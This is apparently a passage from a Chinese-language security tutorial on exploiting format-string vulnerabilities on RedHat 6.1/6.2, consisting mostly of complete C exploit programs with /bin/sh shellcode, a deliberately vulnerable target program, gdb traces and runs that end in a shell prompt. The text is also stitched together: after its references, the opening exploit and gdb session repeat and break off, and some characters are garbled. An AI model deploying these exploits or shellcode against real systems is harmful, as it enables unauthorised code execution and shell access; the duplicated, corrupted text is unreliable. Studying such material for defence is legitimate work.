测试平台:RedHat 6.1, RedHat 6.2 (Intel i386)
(继续)
那么让我们来写一个简单的测试程序来看一下:
<- begin -> exp.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int fmt_num=4, i;
if (argc > 1) sscanf(argv[1],"%x",&retloc); //存放main()返回地址的地址
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using Ret location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; //计算我们shellcode所处的地址
printf("Using Shellcode address: 0x%x\n", shell_addr);
ptr = buff;
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff; // 将retloc放到buff里
buff[i+1] = (retloc & 0x0000ff00) >> 8;
buff[i+2] = (retloc & 0x00ff0000) >> 16;
buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
* 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
* 将这个长度作为第5个%u的宽度值
*/
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff,NULL,env);
} /* end of main */
<- end ->
注意:在我们的程序里,我们实际使用的模式是:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:
[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) bt
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
#1 0x40070716 in _IO_vsnprintf (
string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
args=0xbffff2d0) at vsnprintf.c:129
#2 0x80484de in log (level=1,
fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
at vul.c:13
#3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3 -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
Locals at 0xbffff6d8, Previous frame's sp is 0x0
Saved registers:
ebp at 0xbffff6d8, eip at 0xbffff6dc ----> OK,存放eip的地址是0xbffff6dc
(gdb)
好的,既然现在我们已经知道了RETloc的地址,就让我们运行一下我们的攻击程序看看吧:
[root@rh62 /root]# ./x 0xbffff6dc
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0xbffff6dc
Using Shellcode address: 0xbffffb08
argv[1] = AA荟?.10u%.10u%.10u%.10u%.3221224144u%n
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
<....>
#0 0x42 in ?? ()
(gdb) bt
#0 0x42 in ?? ()
(gdb) x/x 0xbffff6dc
0xbffff6dc: 0x00000042
(gdb)
很可惜,并没有看到令人激动的#号提示符。看起来0xbffffb08的长度不能被正确的打印出来,
根据测试,至少大于0x90000000的长度都不能正确显示,具体原因还有待研究。感兴趣的读者
可以自行分析一下。为了得到一个可以工作的版本,我们改动一下vul.c和exp.c:
<- begin -> vul1.c
#include <stdarg.h>
#include <unistd.h>
#include <syslog.h>
#define BUFSIZE 1024
char egg[BUFSIZE];
int log(int level, char *fmt,...)
{
char buf[BUFSIZE];
va_list ap;
va_start(ap, fmt);
vsnprintf(buf, sizeof(buf)-1, fmt, ap);
buf[BUFSIZE-1] = '\0';
syslog(level, "[hmm]: %s", buf);
va_end(ap);
}
int main(int argc, char **argv)
{
char buf[BUFSIZE];
int i,num;
if(getenv("EGG")) {
/* 我们将环境EGG的内容复制到一个全局buffer里,
* 而这个buffer的起始地址是0x80xxxxx,它可以被正确显示
*/
strncpy(egg, getenv("EGG"), BUFSIZE-1);
egg[BUFSIZE-1] = '\0';
}
num = argc ;
if(argc > 1) {
for ( i = 1 ; i < num ; i ++ ) {
snprintf(buf, BUFSIZE -1 , "argv[%d] = %.200s", i, argv[i]);
buf[BUFSIZE-1] = '\0';
log(LOG_ALERT, buf); // 这里有问题
printf("argv[%d] = %s \n", i, argv[i]);
}
}
}
<- end ->
<- begin -> exp1.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffadc
#define DEFAULT_SHELLADDR 0x8049800 //我们的shellcode地址在Heap/BSS段
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long retloc = DEFAULT_RETLOC;
long shell_addr = DEFAULT_SHELLADDR;
int align = DEFAULT_ALIGNMENT;
int bsize = DEFAULT_BUFFER_SIZE, eggsize = DEFAULT_EGG_SIZE;
int i;
if (argc > 1) sscanf(argv[1],"%x",&retloc);
if (argc > 2) sscanf(argv[2],"%x",&shell_addr);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <SHELL_addr> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: %#x\n", retloc);
printf("Using Shellcode address: %#x\n", shell_addr);
ptr = buff;
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff;
buff[i+1] = (retloc & 0x0000ff00) >> 8;
buff[i+2] = (retloc & 0x00ff0000) >> 16;
buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul1","vul1",buff,NULL,env);
} /* end of main */
<- end ->
这里唯一改变的就是shellcode的地址指向了Heap/BSS区,它通常在内存区域的低端:
0x8000000以后的地址,这个地址将可以被正确显示,因此就可以正确的覆盖main()的
返回地址,并跳到那里去执行我们的shellcode.这个地址的获取,也可以通过gdb跟踪
得到,这里不再赘述。
[root@rh62 /root]# ./exp1 0xbffffadc 0x8049800
Usages: ./exp1 <RETloc> <SHELL_addr> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffadc
Using Shellcode address: 0x8049800
argv[1] = AA茭?.10u%.10u%.10u%.10u%.134518728u%n
bash#
很好,成功了!注意在得到#号提示符前,通常需要等待几秒钟,这是因为显示0x8049800
个字符也是颇需要一段时间的.(当然,结果并没有显示在标准输出上) :-)
<2> 攻击方法二:多次覆盖返回地址(1)
====================================
上面的程序只能在RedHat 6.2这样的系统上成功,在RedHat 6.1下它是不能成功的。原因
前面已经提到了。那么是不是在RedHat 6.1下就没有办法了呢?并不是这样的,只要我们动
一下脑筋,就会发现由于这个问题程序自身的特点颐窃赗edHat 6.1下也可以成功的进行
攻击。我们看到问题程序vul.c会显示并记录所有用户输入的参数,而制约我们的攻击程序的
因素就是显示的长度,那么如果我们不显示那么さ哪谌荩瑅snprintf()是可以正常工作的:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
我们首先想到的时候如何减小shell_addr的值。如果我们将一个shell_addr分成四部分:
shell_addr = (SH1 << 24) + (SH2 << 16) + (SH3 <<8) + SH4
例如,假设在RETloc这个地址中保存有返回地址0x44332211,我们想将这个0x44332211换成
存放shellcode的地址:0xbffffcec,那么我们所对应的SH1,SH2,SH3,SH4就分别是:
SH1 = 0xbf
SH2 = 0xff
SH3 = 0xfc
SH4 = 0xec
我们所要做的就是依次将这四个地址存入RETloc,RETloc+1,RETloc+2,RETloc+3中去,也就是:
AA|RETloc |%.10u%.10u%.10u%.10u%.(SH4-4*10-16)u|%n
AA|RETloc+1|%.10u%.10u%.10u%.10u%.(SH3-4*10-16)u|%n
AA|RETloc+2|%.10u%.10u%.10u%.10u%.(SH2-4*10-16)u|%n
AA|RETloc+3|%.10u%.10u%.10u%.10u%.(SH1-4*10-16)u|%n
注意:我们考虑的是Intel x86的系统,因此,排列顺序是反序的
下图可以让你更清楚的看到每一次覆盖后的变化:
RETloc RETloc+1 RETloc+2 RETloc+3
|0x11 | 0x22 | 0x33 |0x44| 原来存放的地址: 0x44332211
|0xec | 0x00 | 0x00 |0x00| 第一次覆盖SH4: 0x000000ec
|0xec | 0xfc | 0x00 |0x00| 0x00| 第二次覆盖SH3: 0x0000fcec
|0xec | 0xfc | 0xff |0x00| 0x00| 0x00| 第三次覆盖SH2: 0x00fffcec
|0xec | 0xfc | 0xff |0xbf| 0x00| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec
需要特别注意的是:这样四次覆盖之后,将导致原来存放函数参数的地址内容被清零,
例如RETloc+4,RETloc+5,RETloc+6等处,如果该函数在覆盖以后仍然需要访问这几个参
数,可能会导致函数不能正常退出,特别是一些极端依赖函数参数的情况下。
另外一个问题是程序是否允许你连续四次进行覆盖,如果只能覆盖一次,也不能达到我们
的目的,不过我们看到我们的问题程序是会循环从main()的参数中读取并调用log()子函数
,那么我们只要提供四个命令行参数就可以进行四次覆盖了。
<- begin -> exp2.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 500
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffa6c
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff[4], *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,j;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
for(i = 0 ; i < 4 ; i++ ) {
if (!(buff[i] = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */
printf("Using Shellcode address: 0x%x\n", shell_addr);
for(j = 0; j < 4 ; j++) {
ptr = buff[j];
memset(ptr,'A',4);
ptr += align;
(*ptr++) = retloc & 0x000000ff; /* 填充retloc */
(*ptr++) = (retloc & 0x0000ff00) >> 8;
(*ptr++) = (retloc & 0x00ff0000) >> 16;
(*ptr++) = (retloc & 0xff000000) >> 24;
retloc++; /* retloc地址后移一个字节,以便进行下一次覆盖 */
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%.10u", 5); /* 输入格式串,调整%n所对应的位置 */
ptr += 5;
}
tmpaddr = (shell_addr >> j*8 ) & 0xff; /* 计算SHj */
if(tmpaddr > 56 ) /* 计算最后一个%nu中的n值 */
sprintf(ptr, "%%.%uu%%n", tmpaddr - 56);
else
sprintf(ptr, "%%.%uu%%n", 1);
}
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff[0],buff[1],buff[2],buff[3],NULL,env);
} /* end of main */
<- end ->
[root@rh62 /root]# ./exp2
Usages: ./exp2 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffa6c
Using Shellcode address: 0xbffffcec
argv[1] = AAl??.10u%.10u%.10u%.10u%.180u%n
argv[2] = AAm??.10u%.10u%.10u%.10u%.196u%n
argv[3] = AAn??.10u%.10u%.10u%.10u%.199u%n
argv[4] = AAo??.10u%.10u%.10u%.10u%.135u%n
bash#
注意我们上面的exp2.c中在计算最后一个%.nu时存在一些问题,如果
0 < (tmpaddr - 56) < 10 ,那么%.(tmpaddr-56)u 所显示的长度可能不等于(tmpaddr-56)
,同样如果tmpaddr <= 56 ,那么我们的shellcode的地址就会有偏差,幸运的是,由于我们
的shellcode是存放在环境变量中,它通常在堆栈的高端,地址通常是0xbffff???,只有地址
的最低一个字节才可能出现上面所讲的两种情况,而如果我们的shellcode前面填充了一些
NOP指令的话,那么我们的shellcode地址就有一个范围,只要落在这个范围内,都可以执行
我们的shellcode,因此只要我们在这一段地址内选择一个有效的地址就可以了。
这个程序在RedHat 6.1和RedHat 6.2下都验证通过。
<3> 攻击方法三:多次覆盖返回地址(2)
======================================
有读者可能会说,这个程序的成功依赖于我们可以连续进行四次覆盖。如果只给我们一次
机会,是不是就不行了呢?其实,还有一种方法可以完成我们的任务。基本思路也是分四次
来覆盖,只不过通过一个*printf()就可以完成了,考虑下列这种情况:
|AARET1|AAAARET2|AAAARET3|AAAARET4|%c...%c|%n1c%n|%n2c%n|%n3c%n|%n4c%n
^ ^ ^ ^ | | | |
| | | |_________________|______|______|______|
| | |__________________________|______|______|
| |___________________________________|______|
|____________________________________________|
我们使用四个%n,它们会依次将4个显示长度保存到对应的地址去。我们如果调整%c的个数,
使第一个%n对应RET1,第二个%n对应RET2,第三个%n对应RET3,第四个%n对应RET4,那么我
们就成功了一半了。当然我们要让:
RET1 = RETloc
RET2 = RETloc + 1
RET3 = RETloc + 2
RET4 = RETloc + 3
n1 = SH4 - 1*4 - 12 - 4 - 8*3
(1*4是4个%c显示的长度,12是"AA"再加上前面的"argv[.."的长度,4是RET1长度,8*3是后
面三组"AAAARET"的长度)
n2 = SH3 - SH4
n3 = SH2 - SH3
n4 = SH1 - SH2
这样,在碰到第一个%n时,显示总长度就是SH4,碰到第二个%n时,显示总长度就是 SH3,依
此类推。
注意:由于SH1通常等于0xbf(如果是在堆栈中的话),而SH2通常等于0xff,SH1<SH2,
因此我们给SH1加上一个大数0x0100,让它变成0x01BF,这样在进行第四次覆盖的时候:
会将RETloc+4变成0x01,但这通常并不会造成大的影响,RETloc+3仍然被正确的改成了0xbf
RETloc RETloc+1 RETloc+2 RETloc+3
|0xec | 0xfc | 0xff |0xbf| 0x01| 0x00| 0x00| 第四次覆盖SH1: 0xbffffcec
因此,我们让n4 = 0x0100 + SH1 - SH2
另外我们的程序中没有使用%.nu的格式而是采用了%nc, 这是因为%nc可以更加准确的决定
我们的显示长度,只要n>0,显示长度总是精确的等于n,这就为我们的计算带来了很大的方
便。(注意不能使用%.nc的格式,这不起作用) 不过%nc会使用空格来填充空白部分,如果
应用程序将空格作为分隔符来解释时,可能会出问题。
<- begin -> exp3.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 550
#define DEFAULT_ALIGNMENT 2
#define DEFAULT_RETLOC 0xbffffabc
#define DEFAULT_BUFFER_SIZE 128
#define DEFAULT_EGG_SIZE 1024
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC,tmpaddr;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int i,SH1,SH2,SH3,SH4,oldSH4;
if (argc > 1) sscanf(argv[1],"%x",&retloc); /* 输入RETloc */
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using RET location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; /* 计算shellcocde所在的地址 */
printf("Using Shellcode address: 0x%x\n", shell_addr);
SH1 = (shell_addr >> 24) & 0xff;
SH2 = (shell_addr >> 16) & 0xff;
SH3 = (shell_addr >> 8) & 0xff;
SH4 = (shell_addr >> 0) & 0xff;
/* 如果SH4小于44,我们就增大它的值,让它等于44 + 1,以免出现负值 */
if( (SH4 - 4 - 12 - 4 - 8*3) <= 0) {
oldSH4 = SH4;
SH4 = 4 + 12 + 4 + 8*3 + 1;
printf("Using New Shellcode address: 0x%x\n", shell_addr+SH4-oldSH4);
}
ptr = buff;
for (i = 0; i <4 ; i++, retloc++ ){
memset(ptr,'A',4);
ptr += 4 ;
(*ptr++) = retloc & 0xff; /* 填充retloc+n (n= 0,1,2,3) */
(*ptr++) = (retloc >> 8 ) & 0xff ;
(*ptr++) = (retloc >> 16 ) & 0xff ;
(*ptr++) = (retloc >> 24 ) & 0xff ;
}
for(i = 0 ; i < 4 ; i++ )
{
memcpy(ptr, "%c", 2); /* 输入格式串,调整%n所对应的位置 */
ptr += 2;
}
/* "输入"我们的shellcode地址 */
sprintf(ptr, "%%%uc%%n%%%uc%%n%%%uc%%n%%%uc%%n",(SH4 - 4 - 12 - 4 - 8*3),
(SH3 - SH4),(SH2 - SH3),(0x0100 + SH1 - SH2) );
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff + align, NULL,env);
} /* end of main */
<- end ->
验证一下:
[warning3@rh62 format]$ ./exp3
Usages: ./exp3 <RETloc> <offset> <align> <buffsize> <eggsize>
Using RET location address: 0xbffffabc
Using Shellcode address: 0xbffffcfa
argv[1] = AA贱緼AAA晋緼AAA菌緼AAA窥?c%c%c%c%206c%n%2c%n%3c%n%192c%n
bash$ id
uid=500(warning3) gid=500(warning3) groups=500(warning3)
这个程序在redhat 6.1和redhat 6.2下均验证通过
<4> 攻击方法三:多次覆盖返回地址(利用%hn)
=========================================
在drow的statd-toy.c中又提供了一种方法:利用%hn,它会覆盖一个字的高16位:
main()
{
int a=0x41414141;
printf("a=%#x%hn\n",a,&a);
printf("a=%#x\n",a);
}
[warning3@redhat-6 wuftp]$ ./aa
a=0x41414141
a=0x4141000c
<....>用gdb看一下:
(gdb) b 5
Breakpoint 1 at 0x80483ea: file aa.c, line 5.
(gdb) r
Starting program: /home/warning3/wuftp/./aa
a=0x41414141
Breakpoint 1, main () at aa.c:5
5 printf("a=%#x\n",a);
(gdb) p &a
$1 = (int *) 0xbffffcb4
(gdb) x/4b 0xbffffcb4
0xbffffcb4: 0x0c 0x00 0x41 0x41
因此我们只要覆盖两次就可以了,具体的方法和前面相似,有兴趣的读者可以自行测试一下。
这种方法的好处是我们不会覆盖多余的地址,它只覆盖指定地址的两个字节内容!
综合上面的几种方法,我们会看到第三和第四种方法是最通用的,可以适用于各种情况。第
一种和第二种都有其自己的局限性,更多的依赖于应用程序自身的特点。
不过这几种方法都由一个局限,就是必须非常精确的给定存放返回地址的地址:retloc,错一
个字节也不行。这使攻击的成功率大打折扣。回忆一下原来的普通exploit为什么容易成功,
是因为它通常使用一串返回地址来填充堆栈,只要能覆盖返回地址retloc就可以了,并不需要
知道retloc确切的值。而这里,我们必须精确指定retloc,将shellcode地址直接填充到返回地
址中去。而由于retloc的大小和用户环境变量等因素有很大关系,往往不是很确定,不是那么
容易就一次成功的。那么如果我们能够指定一串retloc,retloc+4,retloc+8...,分别将
shellcode地址存到这些地址去,那么我们不就可以增大成功的把握了吗?利用第4种方法,使
很容易做到这一点的。具体的操作有兴趣的读者可以自行测试,也可以与我联系。
另外,%n并不仅仅局限于用来覆盖返回地址,也可以用来覆盖某些保存的数据,比如保存
的uid,gid等等。
结束语
========
这种格式化串导致的溢出问题,虽然看起来比较复杂,实际上只要程序员在书写应用程序
时稍加注意,是完全可以避免的。看来粗心真的是安全的大敌。:-) 由于时间仓促,文中
错疏之处难免,敬请批评指正。
参考文献
==========
[1] <<Format Bugs: What are they, Where did they come from,.........
How to exploit them>> , lamagra (lamagra@digibel.org)
[2] <<Remote shell via Qpopper2.53>> , prizm (prizm@resentment.org)
[3] <<More info on format bugs>>, Pascal Bouchareine [ kalou <pb@grolier.fr> ]
(继续)
那么让我们来写一个简单的测试程序来看一下:
<- begin -> exp.c
#include <stdlib.h>
#include <unistd.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_ALIGNMENT 2 // 我们使用两个字节来进行"对齐"
#define DEFAULT_RETLOC 0xbffff6dc // 存放main()返回地址的地址
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
char *env[2];
long shell_addr,retloc=DEFAULT_RETLOC;
int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;
int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;
int fmt_num=4, i;
if (argc > 1) sscanf(argv[1],"%x",&retloc); //存放main()返回地址的地址
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) align = atoi(argv[3]);
if (argc > 4) bsize = atoi(argv[4]);
if (argc > 5) eggsize = atoi(argv[5]);
printf("Usages: %s <RETloc> <offset> <align><buffsize> <eggsize>\n",argv[0]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
printf("Using Ret location address: 0x%x\n", retloc);
shell_addr = get_esp() + offset; //计算我们shellcode所处的地址
printf("Using Shellcode address: 0x%x\n", shell_addr);
ptr = buff;
memset(buff,'A',4);
i = align;
buff[i] = retloc & 0x000000ff; // 将retloc放到buff里
buff[i+1] = (retloc & 0x0000ff00) >> 8;
buff[i+2] = (retloc & 0x00ff0000) >> 16;
buff[i+3] = (retloc & 0xff000000) >> 24;
ptr = buff + i + 4;
for(i = 0 ; i < 4 ; i++ ) //存放%.10u%.10u%.10u%.10u
{
memcpy(ptr, "%.10u", 5);
ptr += 5;
}
/* 存放"%.SHELL_ADDRu%n",为了使显示总长度等于shell_addr,
* 我们减去4个%.10u的长度:4*10,再减去"argv[1] = xxRETloc"的长度:12+4
* 将这个长度作为第5个%u的宽度值
*/
sprintf(ptr, "%%.%uu%%n", shell_addr - 4*10 - 16);
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg, "EGG=", 4);
env[0] = egg ;
env[1] = (char *)0 ;
execle("./vul","vul",buff,NULL,env);
} /* end of main */
<- end ->
注意:在我们的程序里,我们实际使用的模式是:
AA|RETloc|%.10u%.10u%.10u%.10u%.(shell_addr-4*10-16)u|%n
选用%.10u的原因是:如果用"%.nu"来显示一个数值的时候,若数值长度大于n,则仍然会
显示实际的长度,而不会截断为n。只有在数值长度小于n时,才会在数值前面补'0'使显
示长度达到n.而一个四字节的无符号整数,最大为0xffffffff = 4294967295,其长度也
就是10,因此,使用%.10u将保证显示长度的精确(肯定为10).现在唯一要确定的就是
RETloc,也就是main()的返回地址了。这也很简单:
[root@rh62 /root]# ./x 0x41414141
Usages: ./x <RETloc> <offset> <align> <buffsize> <eggsize>
Using Ret location address: 0x41414141
Using Shellcode address: 0xbffffb08
Segmentation fault (core dumped)
[root@rh62 /root]# gdb ./vul core
GNU gdb 19991004
<....>
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
1212 vfprintf.c: No such file or directory.
(gdb) bt
#0 0x400622b7 in _IO_vfprintf (s=0xbfffedc4,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
ap=0xbffff2e8) at vfprintf.c:1212
#1 0x40070716 in _IO_vsnprintf (
string=0xbfffeec0 "argv[1] = AAAAAA00000000020000000001198649097705429783951094787133", maxlen=1023,
format=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n",
args=0xbffff2d0) at vsnprintf.c:129
#2 0x80484de in log (level=1,
fmt=0xbffff2d8 "argv[1] = AAAAAA%.10u%.10u%.10u%.10u%.3221224144u%n")
at vul.c:13
#3 0x8048589 in main (argc=2, argv=0xbffff724) at vul.c:33
(gdb) i f 3 -----> 查看main()的栈帧
Stack frame at 0xbffff6d8:
eip = 0x8048589 in main (vul.c:33); saved eip 0x400349cb
caller of frame at 0xbffff2c0
source language c.
Arglist at 0xbffff6d8, args: argc=2, argv=0xbffff724
